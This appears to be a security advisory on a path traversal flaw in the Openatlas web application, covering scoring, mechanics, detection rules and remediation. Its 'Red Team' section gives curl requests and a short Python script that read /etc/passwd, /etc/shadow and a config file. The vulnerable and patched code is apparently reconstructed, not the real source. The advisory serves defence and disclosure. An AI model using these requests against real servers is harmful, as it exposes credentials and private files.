CVE-2025-60915

Executive Summary

CVE-2025-60915 is a path traversal vulnerability discovered in the Austrian Archaeological Institute's Openatlas application, affecting versions prior to v8.12.0. The flaw resides in the size query parameter within the /views/file.py endpoint. An unauthenticated attacker can craft a malicious request to traverse directories outside the intended file storage location, potentially reading arbitrary files from the server's filesystem. This could lead to the disclosure of sensitive configuration files, source code, or other confidential data. The vulnerability has a public proof-of-concept (PoC) and no known patch was available at the time of analysis, though upgrading to v8.12.0 is the recommended fix.

Supply Chain & Package Security

Openatlas is a Python-based web application. The vulnerability exists in a custom Python view (/views/file.py), not in a third-party package. However, organizations using Openatlas should verify the integrity of their deployment and ensure no malicious modifications have been introduced via the supply chain.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which likely indicates that a full vector has not been assigned by NVD. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Arbitrary file read can expose sensitive data.
• Integrity (I): None (N) – No file modification is possible.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to significant data disclosure.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the size query parameter of the /views/file.py endpoint. The application likely uses this parameter to specify a file size or to fetch a file based on a user-supplied path. The lack of proper input sanitization allows an attacker to inject path traversal sequences (e.g., ../) to escape the intended directory.

Root Cause: The application does not validate or sanitize the size parameter before using it in file system operations. For example, the code might construct a file path like os.path.join(BASE_DIR, size) without checking for ../ sequences.

Attack Flow:

1. The attacker sends a GET request to /views/file.py?size=../../../etc/passwd.
2. The application processes the size parameter and constructs a file path: /var/www/openatlas/views/../../../etc/passwd (or similar).
3. The path resolves to /etc/passwd.
4. The application reads and returns the contents of /etc/passwd to the attacker.

Impact: An attacker can read any file on the server that the web application user has access to. This includes configuration files (e.g., database credentials, API keys), source code, and other sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (before v8.12.0):

# /views/file.py
import os

def get_file(request):
    size = request.GET.get('size', '')
    # Vulnerable: no sanitization
    file_path = os.path.join('/var/www/openatlas/files', size)
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (v8.12.0 and later):

# /views/file.py
import os

def get_file(request):
    size = request.GET.get('size', '')
    # Sanitize: resolve path and ensure it stays within the base directory
    base_dir = '/var/www/openatlas/files'
    requested_path = os.path.normpath(os.path.join(base_dir, size))
    if not requested_path.startswith(base_dir):
        return "Invalid path", 403
    with open(requested_path, 'r') as f:
        return f.read()

The patched version uses os.path.normpath() to resolve the path and then checks that the resolved path starts with the intended base directory, preventing traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of Openatlas (version < 8.12.0).
• Network access to the web application.

Exploitation Steps:

1. Identify the vulnerable endpoint: /views/file.py.
2. Craft a request to read /etc/passwd:

   curl "http://target.com/views/file.py?size=../../../etc/passwd"
   

3. If successful, the response will contain the contents of /etc/passwd.
4. For more sensitive files, try:

   curl "http://target.com/views/file.py?size=../../../etc/shadow"
   curl "http://target.com/views/file.py?size=../../../var/www/openatlas/config.py"
   

Automated Exploit (Python):

import requests

target = "http://target.com"
payload = "../../../etc/passwd"
url = f"{target}/views/file.py?size={payload}"
response = requests.get(url)
if response.status_code == 200 and "root:" in response.text:
    print("[+] File read successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /views/file.py with size parameters containing ../ or ..\.
• Look for unusual file paths in the size parameter (e.g., /etc/passwd, /proc/self/environ).

Prevention:

• Immediately upgrade to Openatlas v8.12.0 or later.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block path traversal patterns in the size parameter.
• Restrict file system permissions so the web application user has minimal read access.

Honeypot:

• Deploy a fake file at /var/www/openatlas/files/honeypot.txt containing a unique string. Monitor for access to this file as an indicator of scanning.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /views/file.py with size parameter containing ../ or ..\.
  • Requests with size parameter values like ../../../etc/passwd, ../../../etc/shadow, ../../../proc/self/environ.
  • Unusual response sizes (e.g., large responses from /etc/passwd).

• File System IOCs:

  • Unexpected file reads from outside the intended directory (e.g., /etc/passwd accessed by the web application user).
  • Log entries showing file access errors for paths outside the base directory.

• Log IOCs:

  • Web server access logs showing GET /views/file.py?size=../../../etc/passwd HTTP/1.1 with a 200 status code.
  • Application logs showing FileNotFoundError or PermissionError for paths like /etc/shadow.

Detection Engineering

YARA Rule

rule CVE_2025_60915_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2025-60915 in Openatlas"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60915"
    strings:
        $traversal = /\.\.\/|\.\.\\/
        $endpoint = "/views/file.py"
        $param = "size="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-60915 Openatlas Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against Openatlas /views/file.py endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/views/file.py?size='
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of '..' in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60915 Openatlas Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/views/file.py"; http_uri; content:"size="; http_uri; pcre:"/\.\.\//i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Openatlas to version 8.12.0 or later, which contains the fix.
2. WAF Rule: Deploy a Web Application Firewall rule to block requests containing ../ or ..\ in the size parameter.
3. Input Validation: If patching is delayed, implement input validation to reject any size parameter containing .. or starting with /.

Long-Term Measures:

• Conduct a security audit of the entire Openatlas codebase for similar path traversal vulnerabilities.
• Implement a secure file access pattern that uses a whitelist of allowed file names or IDs instead of user-supplied paths.
• Regularly update all dependencies and apply security patches promptly.

Compromise Assessment:

• Check web server logs for any requests matching the IOCs.
• Review file access logs for unauthorized reads of sensitive files.
• If compromise is confirmed, rotate all secrets (database passwords, API keys) that may have been exposed.

Valters IT